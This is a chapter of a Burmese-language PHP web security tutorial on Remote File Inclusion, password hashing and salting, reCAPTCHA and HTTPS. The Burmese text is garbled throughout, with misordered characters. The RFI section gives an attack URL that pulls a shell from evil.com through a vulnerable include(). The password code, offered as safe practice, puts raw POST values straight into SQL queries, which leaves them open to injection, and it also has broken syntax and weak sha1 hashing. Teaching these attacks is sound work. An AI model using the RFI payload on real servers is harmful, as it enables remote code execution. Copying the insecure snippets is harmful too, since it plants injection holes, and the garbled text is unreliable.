ိဆးရေပါမယ်။  File Name  မာှပါဝငတ်ဲ့ စာလုံးိရေကြန့်သတရ်ေပါမယ်။  File Size  ကုိြလညး် လက်ြခနံိုင်ိ လာက်ြတဲ့
အပမင့်ဆံုးပမာဏတစ်ခထုိ  သာထားပပးီ  ကြန့်သတလ်က်ြခရံေပါမယ်။  Zip File  ိတကုိွြလက်ြခပံပးီ  Uncompress  ကုိြ
Script နဲ့ Server ိပါ်မာှ ိဆာင် ရေက်ွြမယ်ဆုိရေင် Zip File ထဲမာှ ပါဝငမ်ယ့် File ိတကုိွြ တစ်ခခုျငး်ထပမ်ံ စစ်ိဆး
ရေပါမယ။် စသပဖေင့် တက်ြနိုငသ်ိလာက်ြစီစစ်ပပးီမသှာ လက်ြခရံေမာှပဖေစ်ပါတယ်။

15.5 - Remote File Inclusion - RFI
Shell  Script  ိတကုိွြ  Upload  လုပမ်မှဟတုပ်ါဘူး။  File  Include  အားနညး်ချက်ြများကြိနလညး်  ထည့်သွငး်
အသံုးပပု သွားနိုငပ်ါိသးတယ်။ ဥပမာ - ကြျွန်ိ တာတ်ို့ Script ထဲမာှ အခလုိုိ ရေးသားအသံုးပပုချက်ြမျို း ပါဝငခ်ဲ့မယ်ဆုိ
ပါစုိ ့- 

<?php
  $page = $_GET['view'];
  include($page . ".php");
?>

ရေညရ်ေယ်ွတာကြိတာ ့URL Query မာှ ိဖောပ်ပရေမယ့် Script File Name ကုိြ အခလုိုထည့်သွငး်အသံုးပပုဖေို့ပါ -

http://example.com/page.php?view=home 

ဒါကုိြ Attack လုပလ်ိုသူကြ -

http://example.com/page.php?view=http://evil.com/shell

- လို့ထည့်သွငး်ခဲ့မယ်ဆုိရေင် အလပုလ်ပုသွ်ားတဲ့ Code ကြ - 

include( "http://evil.com/shell.php" );

ပဖေစ်သွားလို့ ကြျွန်ိ တာတ်ို့  Server ိပါ်မာှ Shell Script ကုိြ Run ခငွ့် ရေသွားတဲ့သိဘာပဖေစ်ိနပါတယ်။ php.ini
မာှ allow_url_fopen နဲ့ allow_url_include တို့ကုိြပတိထ်ားပပးီ ဒပီပဿနာကုိြကြာကွြယန်ိုငပ်ါတယ်။
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15.6 - Storing Password
ကြျွန်ိ တာတ်ို့ Web App မာှ User Registration လက်ြခံိ တာမ့ယ်ဆုိရေင် စဉး်စားစရောပဖေစ်လာတာ Password ကိြစ္စ
ပါ။  အသံုးပပုသူိတဟွာ အများအားပဖေင့်  Password  တစ်ခကုိုြ  Website  နစ်ှခသံုုးခအုတက်ွြ သံုးတက်ြအကြပါတယ်။
SQL Injection  နဲ့ ပဖေစ်ပဖေစ်၊ အပခားနညး်လမး်တစ်ခခုနုဲ့ပဖေစ်ပဖေစ်  Database  မာှသိမး်ဆည်းထားတဲ့ အချက်ြအလက်ြ
များကုိြ Attacker ကြ ရေရေှိသွားတဲ့ အခါ Password ိတလွညး် ပါဝငသွ်ားမာှပဖေစ်ပါတယ်။ ဒီိ တာ့ အသံုးပပုိနသူိတွ
သံုးိနတဲ့ အပခား Website များမာှပါ သူတို့ ရေဲ့  Account ိတ ွမလုံပခုံိတာတ့ဲ့သိဘာပဖေစ် လာပါတယ်။ အသုံးပပုသူ
ိတအွတက်ွြ ဆငပ်ာွးဆံုးရှံုးနစန်ာရေမှု တ ွရေှိလာနိုငပ်ါတယ်။

ဒါိအကြာင့်  Password ိတကုိွြ မရူေငး်  Plain Text  အတိုငး်သိမ်းဆညး်ထားပခငး်ကုိြ မပပုလပုသ်င့်ပါဘးူ။ Hash လုပ်
ပပးီမသှာ သိမး်ဆညး်သင့ပ်ါတယ်။ Hash လုပတ်ယ်ဆိုတဲ့ိ နရောမာှလညး် One Way Hash ပပုလပုန်ညး်များကုိြသာ
အသံုးပပုသင့် ပါတယ်။ အဓပိ္ပါယ်ကြ Hash လပုထ်ားတဲ့ Password ကုိြ မရူေငး် Password ပပန်ိ ပပာငး်လို့ မရေနိုင်ိ တာ့
တဲ့သိဘာပဖေစ်ပါတယ်။ ကြျွန်ိ တာတ်ို့ ကုိြယတ်ိုငလ်ညး်ပပန်ိ ပပာငး်လို့မရေပါဘးူ။ Attacker လညး်ိပပာငး်လို့မရေပါဘးူ။
အိပခခအံားပဖေင့် Password ကုိြ မရူေငး်ိပးထားသူကြလွဲရေင် တစ်ပခားဘယ်သူကြမှ မသိနိုင်ိ တာပ့ါဘူး။ App မာှပါဝင်
တဲ့ Data ိတကုိွြစီမံိ နတဲ့ Admin ိတာငမ် ှမသိနိုင်ိ တာပ့ါဘးူ။

နမနူာအားပဖေင့်  Registration Form  ကြိန အသံုးပပုသူကြ သူရ့ေဲ့  Name, Email  နဲ့  Password  တို့ကုိြ ပဖေည့်သွင်း
လိုက်ြ တယ်ဆုိအကြပါစုိ။့ ကြျွန်ိ တာတ်ို့  Script ကြ ဒအီချက်ြအလက်ြိတကုိွြ Database မာှ သိမး်ဆညး်တဲ့အခါ အခလုို
သိမး် ဆညး်ိပးရေမာှပါ - 

$name = $_POST['name'];
$email = $_POST['email'];
$password = sha1( $_POST['password'] );

$conn->query( "INSERT INTO users (name. email, password)
                 VALUES ('$name', '$email', '$password')" );

Password ကုိြ sha1() Function နဲ့ Hash လုပထ်ားပါတယ်။

မတ်ှချကြ်  ။  ။ sha1() ဟာ  CSRF Token  နမနူာမာှ  သုံးခဲ့တ့ဲ  md5() လုိပဲ  Hash Function  ပဖေစပ်ါတယ။် အလုပလု်ပပ်ုံ
Algorithm  ိတာ့  မတူအကြပါဘးူ။  ဒီိ နရောမာှ  sha1()  မသုံးပဲ  md5() သုံးရေငလ်ညး်ရေပါတယ။်  sha1() Algorithm  ကြ
md5() ထကြ် အနညး်ငယ် ပိုိ ကြာငး်တ့ဲအတွကြ် sha1() ကြိုသုံးထားပခငး်ပဖေစပ်ါတယ။် တစပ်ခား Hash Algorithm ိတွလညး်
ရေှိပါိသးတယ။် 

sha1() Function ကြ ိပးလိုက်ြတဲ့ String ကုိြ စာလုံးိရေ (၄၀) ရေှိတဲ့ Encrypted String အပဖေစ် ိပပာငး်ိပးသွား
မာှ  ပဖေစ်ပါတယ်။  စာိအကြာငး်ဘယ်ိလာက်ြရေညှရ်ေညှ၊်  ဘယ်ိလာက်ြတိုတို၊  အထမဲာှဘယ်လိုိ ရေးထားထား  sha1()
ကြိတာ ့စာလုံးိရေ (၄၀) ပါဝငတ်ဲ့ Hash အပဖေစ်ကြို ိပပာငး်ိပးသွားမာှပါ။ ဥပမာ - 
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sha1("The quick brown fox jumps over the lazy dog");  အတက်ွြ ရေလဒက်ြ -

2fd4e1c67a2d28fced849ee1bb76e7391b93eb12

- ပဖေစ်မာှပဖေစ်ပါတယ်။

shal(""); အတက်ွြ ရေလဒက်ြ - 

da39a3ee5e6b4b0d3255bfef95601890afd80709

- ရေရေှိမာှပါ။ ပထမနမနူာမာှ စာိအကြာငး်ခပရ်ေညှရ်ေညှကုိ်ြ sha1 Hash လပုထ်ားိတာ ရေလဒက်ြ စာလုံး (၄၀) ပဖေစ်သလို
ဒတုယိ နမနူာမာှ Blank String တစ်ခကုိုြ sha1 Hash လပု်ိ တာလ့ညး် ရေလဒက်ြ စာလုံး (၄၀) ပပဲဖေစ်ပါတယ။်

ဒနီညး်နဲ့  Hash  လုပထ်ားတဲ့  Password  ကုိြ  Database  ထဲမာှသိမး်ဆညး်လိုက်ြမာှ  ပဖေစ်ပါတယ်။  အသံုးပပုသူကြ
ိနာက်ြပိုငး် မာှ Login ဝငတ်ဲ့အခါ၊ သူိပးတဲ့ Login Information မနှမ်မနှကုိ်ြ အခလုို ပပနလ်ညစ်စ်ိဆးနိုငပ်ါတယ်

$email = $_POST['email'];
$password = sha1( $_POST['password'] );

$result = $conn->query( "SELECT * FROM users 
                           WHERE email='$email' AND password='$password'" );

သိမး်ထားတဲ့ Hash နဲ့တိုက်ြဆုိငစ်စ်ိဆးရေမာှမို့  Login Form မာှ အသံုးပပုသူိပးလာတဲ့ Password ကုိြ sha1()
နဲ့ အရေင ် Hash လုပပ်ပးီမ ှတိုက်ြဆုိငစ်စ်ိဆးရေပခငး် ပဖေစ်ပါတယ်။ ဒနီညး်နဲ့ အသံုးပပုသူများရေဲ့  Password ကုိြ ပိုမိုလုံပခုံ
ိအာင ်ကြျွန်ိ တာတ်ို့ App ကြ ကြာကွြယ်ိပးနိုငပ်ါတယ်။

အမနှ်ိ တာ့ သိပ်ိ တာလ့ညး်မလုံပခုံလှိ သးပါဘးူ။ Attacker ိတကွြ ဒလီို Hash လပုထ်ားတဲ့ Password ိတကုိွြရေရေှိ
တဲ့  အခါ  မရူေငး်  Password  ကုိြသိရေိအာငပ်ပနမ်ိဖောန်ိုငပ်ါဘးူ။  ဒါိပမယ့်  ပဖေစ်နိုင်ိ ပခရေှိတဲ့စာလုံး  Combination
ိပါငး် သနး်ိထာငခ်ျပီါဝငတ်ဲ့၊  Password  ိတကုိွြ ကကိြုတင်  Hash  လုပထ်ားတဲ့  Rainbow Table  ိခါ်နညး်ပညာ
ိတ ွရေှိပါတယ်။ ဒလီို ကကိြုတင်  Hash  လပုထ်ားတဲ့  Password  များနဲ့ ရေထားတဲ့  Hash  ကုိြ တိုက်ြဆုိငစ်စ်ိဆးပခငး်
အားပဖေင့်  မလူ  Password  ကုိြ  ပပနလ်ညရ်ောှိဖေနွိုငပ်ါတယ်။ သနး်ိထာငခ်ျတီဲ့  Record  ိတကုိွြ ကြျွန်ိ တာတ်ိုလ့ူိ တွ
ကုိြငတ်ယ်ွဖေိုခ့က်ြိပမယ့် Computer အတက်ွြိတာအ့လယ်ွိလးပါ။ စကြ္ကန့်ပိုင်းအတငွး် (စာလုံးများများပါပပးီ Strong
ပဖေစ်တဲ့  Password  ဆုိရေင်  မနိစ်ပိုငး်အတငွး်)  ရောှိဖေွိ ပးနိုငပ်ါတယ။် ဒါိအကြာင့်  Hash  လပုလ်ိုက်ြယံုနဲ့လညး် မလုံပခုံ
ိသးပါဘူး။

ဒပီပဿနာကုိြိပဖေရေငှး်ဖေို့သံုးအကြတာကြ  Password Salt  ပဖေစ်ပါတယ်။  Password  ကုိြ  ဒတီိုငး်မထားပဲ  ဆားခတပ်ပးီမှ
Hash လပုပ်ခငး်ပဖေစ်ပါတယ်။ ိစာိစာကြ Register Form နမနူာကုိြ အခလုိုပပင်ဆင်ိ ပးရေပါမယ ်-
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$name =  $_POST['name'];
$email = $_POST['email'];

$salt = sha1( time() . rand(1, 1000) );
$password = sha1( $salt . $_POST['password'] );

$conn->query( "INSERT INTO users (name. email, password, salt)
                 VALUES ('$name', '$email', '$password', '$salt')" );

အရေင်ဆံုး  Random Number တစ်ခကုိုြ $salt အိနနဲ့  sha1 သံုးပပီးိတာပ့ဲ  Hash လပုလ်ိုက်ြပါတယ်။ ရေလာတဲ့
ရေလဒ် ကုိြ မရူေငး်  Password  နဲ့ိ ပါငး်ပပီးိတာမ့ှ   Hash  လပုလ်ိုက်ြပခငး်ပဖေစ်ပါတယ။် ထးူပခားချက်ြအိနနဲ့  Salt  ကုိြ
လညး်  Database  ထဲမာှ ထည့်သိမး်ထားတာကုိြ သတပိပုမမိာှပါ။  Salt  ကြ  Random  မို့  ဒလီိုထည့်သိမး်ထားမသှာ
Login ဝငတ်ဲ့ အခါ ဒ ီSalt ကုိြပပနသံု်းပပးီ Login Information မနှမ်မနှကုိ်ြ တုိက်ြဆိုငစ်စ်ိဆးနိငုမ်ာှပါ။

ဒလီို  Salt  ကုိြပါထည့်သိမ်းထားတဲ့အတက်ွြ  Attacker  ကြ  Data  ရေတဲ့အခါ  Salt  ပါရေသွားမာှပဖေစ်လို့ အမနှတ်စ်ကြယ်
ိရော  ပိုပပးီ  လံုပခုံသွားရေဲ့လား  ိမးစရောရေှိလာပါတယ်။  ကကိြုးစားပမး်စားပပန်ိ ဖောမ်ယ်ဆုိ  ိဖောန်ိုင်ိ နဆဲပဖေစ်ိပမယ့်
ိတာ်ိ တာ်ိ တာ့  ခက်ြခသွဲားပါပပ။ီ  ိသချာတာတစ်ခကုြိတာ့  User  Account  အများကကီြးကုိြ  တစ်ချနိတ်ညး်
တစ်ပပို ငတ်ညး် Rainbow Table နဲ့ တုိက်ြပပးီိဖောဖ်ေို့ ဘယ်လိုမမှလယ်ွိတာပ့ါဘးူ။  User တစ်ိယာက်ြကုိြ Salt တစ်
မျို းစီကဲွြိနတဲ့အတက်ွြပဖေစ်ပါတယ်။

ဒါိအကြာင့် Password များသိမး်ဆည်းတဲ့အခါ Hash လပုယံု်မကြ Salt ပါထည့ိ် ပးဖေို ့လိုမာှပဖေစ်ပါတယ်။

15.7 - Anti-Bot System
Spam Bot ိတဟွာလညး် ထည့်သွငး်စဉး်စားရေမယ့် ပပဿနာတစ်ခပုါ။ ကြျွန်ိ တာတ်ို့  App ရေဲ့  User Registration
စနစ်ကုိြ  Bot  ိတသံုွးပပးီ  အိကြာငး်အတုိ တ ွ အများကကီြးတည်ိ ဆာက်ြ  သွားနိုငပ်ါတယ်။  Comment  စနစ်မာှ
ိအကြာပ်ငာ  Spam  ိတ ွလာထည့်သွားနိုငပ်ါတယ။် ဒီ  Bot  ိတဟွာ  Automate Script  ိတပွဖေစ်လို့  သူတို့ထည့်နိုင်
သိလာက်ြ ကြျွန်ိ တာတ်ို့ကြ လိုက်ြဖေျက်ြမိနနိုငပ်ါဘးူ။ စကြတညး်ကြ မလိုလားအပတ်ဲ့  Bot ိတမွလာနိုင်ိ အာင် ကြာ
ကွြယ်ထားဖေို့လို ပါတယ်။

ဒပီပဿနာကုိြိပဖေရေငှး်ဖေို့အတက်ွြ CAPTCHA ိတကုိွြ သံုးိလရ့ေှိအကြပါတယ်။ CAPTCHA ဆုိတာ Website ိတရွေဲ့  Form
ိတမွာှ ခဏခဏိတွ့ိနရေတဲ့  စိတရ်ှုတဖ်ေိုိ့ ကြာငး်ပပးီ ဖေတရ်ေခက်ြတဲ့  Image ိတ ွပဖေစ်ပါတယ်။ Image မာှိပါ် ိနတဲ့
စာ ကုိြဖေတပ်ပးီ  မနှ်ိ အာငပ်ဖေည့်နိုငမ်ှ  ိနာက်ြတစ်ဆင့်ကုိြသွားခငွပ်ပုတဲ့စနစ်ကုိြိခါ်တာပါ။  စိတရ်ှုတစ်ရောပဖေစ်ိပမယ့်  ဒီ
Image ိတကွြ Bot နဲ့လကုိူြ ခွဲပခားိပးနိုငပ်ါတယ်။ အိပခခအံားပဖေင့်  Bot ကြ Image မာှပါတဲ့စာကုိြမဖေတန်ိုငပ်ါဘးူ။
လကူြိတာ့ ဖေတန်ိုငပ်ါတယ်။ ဒအီဆုိကြ အတအိကြျိတာမ့မနှပ်ါဘးူ။ တစ်ချို ့ Bot ိတကွြ Image မာှပါတဲ့စာကုိြ ဖေတ်
နိုငပ်ါတယ။် လကူြိတာ့ တစ်ချို ့  Image မပှါတဲ့ စာိတကွြ သိပရ်ှုတလ်နွး်လို့ မဖေတန်ိုငတ်ာမျို းလရဲေှိပါတယ်။ တစ်ချို ့
ကြလညး်  CAPTCHA ိတကွြ ဒီိ လာက်ြ အကြာအကွြယ်ိပး နိုငတ်ာလညး် မဟတုဘ်နဲဲ့ အသံုးပပုရေခက်ြခဲိ စတယ်လို့
ိဝဖေနအ်ကြပါ တယ်။ ဘာပဲိ ပပာိပပာ လက်ြရေှိအချနိထ်ိိ တာ့  Bot ိတကုိွြကြာကွြယ်ဖေို့  CAPTCHA ကုိြပဲ အားကုိြးိနရေဆဲ
ပဖေစ်ပါတယ်။
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Google ကြ အခမဲ့ိ ပးထားတဲ့ reCAPTCHA ဆုိတဲ့ Web Service တစ်ခရုေှိပါတယ်။ တစ်ိနကုိ့ြ အကကိြမ်ိ ပါငး် သနး်
(၃၀)ိလာက်ြ  Image  များိဖောပ်ပိပးိနရေိလာက်ြိအာင် လူသံုးများတဲ့  Service  တစ်ခပုဖေစ်ပါတယ်။  reCAPTCHA
ရေဲ့  ိဆာငပ်ဒုက်ြ "Stop Spam, Read Books." ပဖေစ်ပါတယ်။ reCAPTCHA Image ိတမွာှ စာလုံးနှစ်လုံးတွဲ အပမဲ
ပါိလ ့ရေှိပါတယ်။ Digital စနစ်မိပပာငး်ရေိသးတဲ့ စာအုပ်ိ တထွကဲြ စာလုံးိတကုိွြ ိဖောပ်ပထားတာပါ။

OCR Program ိတကွြ အဓပိ္ပါယ်ိ ဖောန်ိုငထ်ားပပးီသား စာလုံးတစ်လုံးနဲ့ မိဖောန်ိုငတ်ဲ့ စာလုံးတစ်လုံးကုိြ တွဲထားိပး
ပခငး်ပဖေစ်  ပါတယ်။  အသံုးပပုသူကြ တစ်လုံးမနှ်ိ အာငထ်ည့်နိုငရ်ေငရ်ေပါပပ။ီ  ဒါိပမယ့်  နစ်ှလုံးစလုံး  ထည့်ခဲ့မယ်ဆုိရေင်
OCR အဓပိ္ပါယ် မိဖောန်ိုင်ိ သးတဲ့စာလုံးကိြ ုကူြပပးီအဓပိ္ပါယ်ိဖော်ိ ပးရောိရောက်ြတဲ့သိဘာပဖေစ်ပါတယ်။

ဒီ Service ကုိြ ကြျွန်ိ တာတ်ို့ App မာှ ထည့်သွငး်အသံုးပပုဖေို့အတက်ွြ google.com/recaptcha မာှ Sign Up လုပရ်ေ
ပါမယ်။ Sign Up လုပလ်ိုက်ြရေင် လိုအပတ်ဲ့ Public Key, Private Key နဲ့ အသံုးပပုနညး်လမး်ညွှနမ်ျားကုိြ ရေရေှိမာှပဖေစ်
ပါတယ်။  ထည့်သွငး်အသံုးပပုနိုငဖ်ေို့  reCAPTCHA  PHP  API  ကုိြ  အရေင်ဆံုး  Download  ရေယူဖေို့လိုပါတယ်။
Download ရေယူပပီးရေင ်CAPTCHA ိဖောပ်ပိစလိုတဲ့ Form Page မာှ အခလုို ိရေးသားထည့်သွငး်ိပးရေမာှပါ -

<?php
  include('recaptchalib.php'); 
  $publickey = "lorem123ipsum456dolar987sit112amat333";
?>
<form action="register.php" method="post">
  …
  <?= recaptcha_get_html($publickey);
  <input type="submit" value="Register">
</form>

$publickey အတက်ွြ  Sign  Up  လုပစ်ဉက်ြရေရေှိတဲ့  Public  Key  အမနှကုိ်ြ  ထည့်သွငး်ိပးရေမာှပဖေစ်ပါတယ်။
CAPTCHA Image ိဖောပ်ပိစလိုတဲ့ိ နရောမာှ recaptcha_get_html() Function ကုိြ ိရေးသားိပးလိုက်ြယံု

http://google.com/recaptcha
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ပဲ  ပဖေစ်ပါတယ်။  အသံုးပပုသူ  ထည့်သွငး်ိပးတဲ့  CAPTCHA Value  မနှမ်မနှကုိ်ြိတာ့  Server-side  မာှ  အခလုို
စစ်ိဆးိပးနိုငပ်ါတယ်။

<?php 
  include('recaptchalib.php'); 
  $privatekey = "3ipsum45lorem12112amat3336dolar987sit"; 
  $resp = recaptcha_check_answer ($privatekey, 
                                $_SERVER["REMOTE_ADDR"], 
                                $_POST["recaptcha_challenge_field"], 
                                $_POST["recaptcha_response_field"]); 

  if (!$resp->is_valid) { 
    // CAPTCHA was entered incorrectly 
    die ("The reCAPTCHA wasn't entered correctly. Go back and try it again." . 
         "(reCAPTCHA said: " . $resp->error . ")"); 
  } else { 
    // Successful verification 
  } 
?>

$privatekey အတက်ွြ  Sign  Up လပုစ်ဉက်ြရေရေှိတဲ့  Private  Key  အမနှထ်ည့်သွငး်ိပးရေမာှပဖေစ်ပါတယ်။
is_valid  နဲ့  စစ်ိဆးထားတဲ့ိ နရောမာှ  Value  မနှရ်ေင်ိ ဆာငရ်ေက်ွြရေမယ့်  လပုင်နး်များနဲ့  မမနှရ်ေင်ိ ဆာငရ်ေက်ွြရေမယ့်
လပုင်နး်များတွဲထား ိပးရေမာှပဖေစ်ပါတယ်။

ဒနီညး်နဲ့ Form ိတမွာှ Bot ိတကွြ Automate Script ိတနွဲ့ Spam ိတလွာထည့်ပခငး်ကြိန အတိုငး်အတာတစ်ခု
ထိ  ကြာကွြယ်နိုင်ိ စမာှပဖေစ်ပါတယ်။  တစ်ခသုတပိပုသင့်တာကြ၊  ဒနီညး်ပညာဟာ  Third-party  နညး်ပညာပဖေစ်လို့
အသံုးပပုပုံနဲ့  အလပုလ်ပုပ်ုံဟာ  အချနိန်ဲ့အမျှ ိပပာငး်လဲိ နနိုငပ်ါတယ်။  reCAPTCHA  PHP  API  အသံုးပပုပုံ
အိသးစတိကုိ်ြ ိအာက်ြပါ Link မာှ ိလလ့ာနိုငပ်ါတယ်။

Link: https://developers.google.com/recaptcha/docs/php

15.8 - Secure HTTP - HTTPS
ကြိန့ိ ခတမ်ာှ အငတ်ာနက်ြအသံုးပပုသူတစ်ဦးရေဲ့  Network Traffic ကုိြ အကြားပဖေတဖ်ေမး်ယူ အကြည့်ရှုလို့ရေတဲ့ နညး်ပညာ
အမျို းမျို း ရေှိိ နပါတယ်။ Network တစ်ခထုမဲာှ ရေှိိ နသူကြ Software တစ်မျို းနဲ့ ဖေမး်ယအူကြည့်ရှုတာလညး် ပဖေစ်နိုငပ်ါ
တယ်။  Wifi Router  ကြိန ဖေမး်ယူအကြည့်ရှုတာလညး် ပဖေစ်နိုငပ်ါတယ်။  Proxy Server  ကြိန ဖေမး်ယူအကြည့်ရှုတာ
လညး် ပဖေစ်နိုငပ်ါတယ်။ အမျို းမျို း ပဖေစ်နိုငပ်ါတယ်။ ကြျွန်ိ တာတ်ို့ App ကုိြ အသံုးပပုိနသူရေဲ့  Network Traffic ိတွ
ကုိြ  အကြားထကဲြ  ဖေမး်ယူိစာင့်အကြည့်ိ နသူ  ရေှိခဲ့မယ်ဆိရုေင်  ကြျွန်ိ တာတ်ို့  App  နဲ့  အသံုးပပုသူ  Client  အအကြား
အပပန်အလနှသွ်ားလာိနတဲ့  Request,  Respond  ိတကုိွြ  အ့ဲဒလီကူြသိရေှိိ နမာှပဖေစ်ပါတယ်။  Request/Respond
ိတထွမဲာှ  Password ိတလွညး် ပါဝငန်ိုငပ်ါတယ်။ Session/Cookie Data ိတလွညး် ပါဝငန်ိုငပ်ါတယ။် Credit
Card No. ိတလွညး် ပါဝင်ိ နနိုငပ်ါတယ်။ အပခား Private Information ိတလွညး် ပါဝင်ိ နနိုငပ်ါတယ်။
ဒပီပဿနာကုိြ  ိပဖေရေငှး်ဖေို့အတက်ွြ  HTTPS  နညး်ပညာရေှိပါတယ်။  HTTP  Secure  ရေဲ့အတိုိ ကြာက်ြအိခါ်ပဖေစ်တဲ့
HTTPS  ဟာ  HTTP  ကုိြ  SSL/TLS Protocol  ရေဲ့  လံုပခုံိရေးအစီအမံိ တနွဲ့  ိပါင်းစပအ်သုံးပပုပခငး်ပဖေစ်ပါတယ်။

https://developers.google.com/recaptcha/docs/php
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Secure  Socket  Layer  (SSL)  ဆုိတဲ့နညး်ပညာကြ  ကွြနပ်ျူတာိတ ွ တစ်လုံးနဲတ့စ်လုံး  ဆက်ြသွယ်တဲ့အခါ
အချက်ြအလက်ြိတကုိွြ  ဝက်ှြစာအပဖေစ်  ိပပာငး်ိပးတဲ့  (Encryption)  နညး်ပညာတစ်မျို းပဖေစ်ပါတယ်။  အကြယ်၍
တစ်စံုတစ်ိယာက်ြကြ အကြားပဖေတဖ်ေမး်ယူခဲ့ရေင် ိတာင် ဝက်ှြစာကုိြပရဲေရေှိမာှပဖေစ်လို့ ဝက်ှြစာိဖောန်ိုငတ်ဲ့ Key မရေရေှိရေင် မရူေငး်
အချက်ြအလက်ြိတကွြ ဘာလဆုိဲတ မသိနိုင်ိ တာ့ ပါဘးူ။  Transport Layer Security (TLS)  ကြိတာ့  SSL ကုိြ
အဆင့်ပမငှ့်ထားတဲ့ ပိုမိုအားိကြာငး်တဲ့ ဝက်ှြစာစနစ်ပဖေစ် ပါတယ်။ HTTPS ကြိတာ့ အ့ဲဒီ  SSL/TLS ဝက်ှြစာစနစ်ကုိြ
HTTP  နဲ့  ိပါငး်စပ်ိ ပးတဲ့  နညး်ပညာပဖေစ်ပါတယ်။  လိုရေငး်  ကြိတာ့  ိပးပိုိ့ နတဲ့  Request/  Respond  ိတကုိွြ
Encrypt လပု်ိ ပးတဲ့နညး်ပညာပဖေစ်လို့ Request ိတွိ ပးပို့တဲ့အခါ Encrypt လုပပ်ပးီမှိ ပးပို့မာှပဖေစ်သလို၊ Respond
ိတကုိွြလညး် Encrypt လပုပ်ပးီမှိ ပးပိုမ့ာှပါ။

ဒါိအကြာင့် အခုိ နာက်ြပိုင်း  Google, Twitter  အစရေှိတဲ့  Website  ိတဟွာ သူတိုရ့ေဲ့ဝန်ိ ဆာငမ်ှု တကုိွြ  HTTPS  နဲ့
သာ အသံုးပပုခငွ့်  ပပုထားပခငး်ပဖေစပ်ါတယ်။  တစ်ချို ့  Website  ိတကွြိတာ့  သာမာန်  လပု်ိ ဆာငခ်ျက်ြိတအွတက်ွြ
HTTP  ကုိြ သာအသုံးပပုပပးီ  Login  က့ဲြသုိ့  လုံပခုံိရေးအိရေးကကီြးတဲ့ကိြစ္စ တ ွိဆာငရ်ေက်ွြဖေို့အတက်ွြသာ  HTTPS  ကုိြ
သံုးအကြပါတယ်။ အသံုးပပုသူများအိနနဲ့  Website  ကြ Support  လပုရ်ေင်  HTTPS ကုိြသာ ိရေးွချယ်အသံုးပပုသင့်ပါ
တယ်။

ကြျွန်ိ တာတ်ို့  Web App  ကုိြ  HTTPS  နဲ့အလပုလ်ပု်ိ စလိုရေင်  VeriSign, Thawte  အစရေှိတဲ့  Service Provider
များထကံြိန SSL Certificate များဝယ်ယူဖေို့လိုပါတယ်။ ပပးီရေင်  Web Server မာှ  SSL Module များထည့်သွငး်
ပပးီ Setting လပု်ိ ပးရေ မာှပဖေစ်ပါတယ်။ StartSSL က့ဲြသုိ့ အခမဲ့ဝန်ိ ဆာငမ်ှု ပးတဲ့ တစ်ချို ့ Provider ိတလွညး်ရေှိပါ
တယ်။ Setting ပပုလပုပ်ုံကြိတာ ့Provider နဲ့ Web Server ိပါ်မတူညပ်ပးီ ကဲွြပပားသွားမာှပါ။

HTTPS Setting  ပပုလပုပ်ခငး်ဟာ ရှုတ်ိ ထးွတဲ့လပုင်နး်စဉတ်စ်ခပုဖေစ်ပပးီ  Server Management  နဲ့  Encryption
ဗဟသုုတရေှိသူမှ ိဆာငရ်ေက်ွြနိုငတ်ဲ့ လပုင်နး်တစ်ခပုဖေစ်ပါတယ်။ ဒါိပမယ့် အခုိ နာက်ြပိုင်း Let's Encrypt ဆုိတဲ့နညး်
ပညာတစ်ခု ိပါ်ိပါက်ြလာပါတယ်။ အ့ဲဒနီညး်ပညာကုိြ Command တစ်ချို ့ Run လိုက်ြယံုနဲ့ HTTPS Setup ပပုလပု်
ပခငး်  လပုင်နး်ကုိြ  အလိုအိလျှာက်ြ ိဆာငရ်ေက်ွြိပးနိုငပ်ါတယ်။ ဒါိအကြာင့်  အထးူကြျွမး်ကြျငသူ်ပဖေစ်ဖေို့  မလိုပဲ  အိပခခံ
ဗဟသုုတရေှိထားမယ်ဆုိရေင်  Let's Encrypt  အကူြအညနီဲ့  HTTPS Setup  ပပုလပုန်ိုငပ်ါတယ်။ ိအာက်ြပါလပိစ်ာမာှ
ဆက်ြလက်ြ ိလလ့ာသွားသင့်ပါတယ်။

https://letsencrypt.org/

https://letsencrypt.org/
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Conclusion
လုံပခုံိရေးနဲပ့တသ်က်ြရေင် အိတွ့ရေများတဲ့ အပခားအားနညး်ချက်ြိတ ွရေှိပါိသးတယ်။ ဥပမာ  - လုပ်ိ ဆာငခ်ျက်ြများကုိြ
Password Protect လပုတ်ဲ့အခါ တစ်ချို ့လပု်ိ ဆာငခ်ျက်ြိတကုိွြ ိမပ့ပးီ  Protect မလပုမ်တိာမျို း ပဖေစ်တက်ြပါတယ်။
ဥပမာ  -  Book  Admin  ပိုငး်ကုိြ  Protect  လုပထ်ားိပမယ့်  Order  Admin  ကြ  ိနာက်ြမထှည့်တာမို့   Auth-
entication Check လုပ်ိ ဆာငခ်ျက်ြ ထည့်သွင်းဖေို့ ိမသွ့ားတာမျို း ပဖေစ်တက်ြပါတယ်။ Attack လပုလ်ိုသူိတကုိွြ ဒလီို
ဟာ ကွြက်ြိတကုိွြ လိုက်ြရောှိနမာှပါ။ စမး်ထားတဲ့ File တစ်ချို ့ကုိြ ပပနဖ်ေျက်ြဖေိုိ့ မပ့ပီး ဒအီတိုင်းထားမတိာမျို းလညး် ပဖေစ်
တက်ြပါိသးတယ်။ ဥပမာ - Setting အိပခအိနသိချငလ်ို့ phpinfo() Function Run ထားတဲ့ Test Page တစ်
ခကုိုြ  စမး်စရောရေှိတာ စမး်ပပးီိနာက်ြ ပပနဖ်ေျက်ြလိုက်ြဖေိုိ့ မသွ့ားတာမျို း  ပဖေစ်တက်ြပါတယ်။  Attack  လုပလ်ိုသူကြ  File
Name ကုိြသိသွားပပီး တိုက်ြ ရုိက်ြ Access လုပသွ်ားတာမျို းလညး်ပဖေစ်တက်ြပါိသးတယ်။ ဥပမာ - Index Wrapper
နဲ့ ထည့်သွငး်ိဖောပ်ပိပးဖေို့ ရေညရ်ေယ်ွတည်ိ ဆာက်ြထားတဲ့  View Template ကုိြ Attacker ကြ Location အတအိကြျ
သိသွားတဲ့အတက်ွြ URL မာှ အ့ဲဒ ီTemplate ရေှိရောကုိြ ထည့်သွငး်ပပးီ Access လပုသွ်ားပခငး်မျို း ပဖေစ်ပါတယ်။

ဒပီပဿနာိတကွြိတာ့  ဒလီိုဒလီိုိ ပဖေရေငှး်ရေပါတယ်လို့အတအိကြျိပပာလို့မရေိတာပ့ဲ  ိရေးသားသူိပါ် မတူညသွ်ားတဲ့
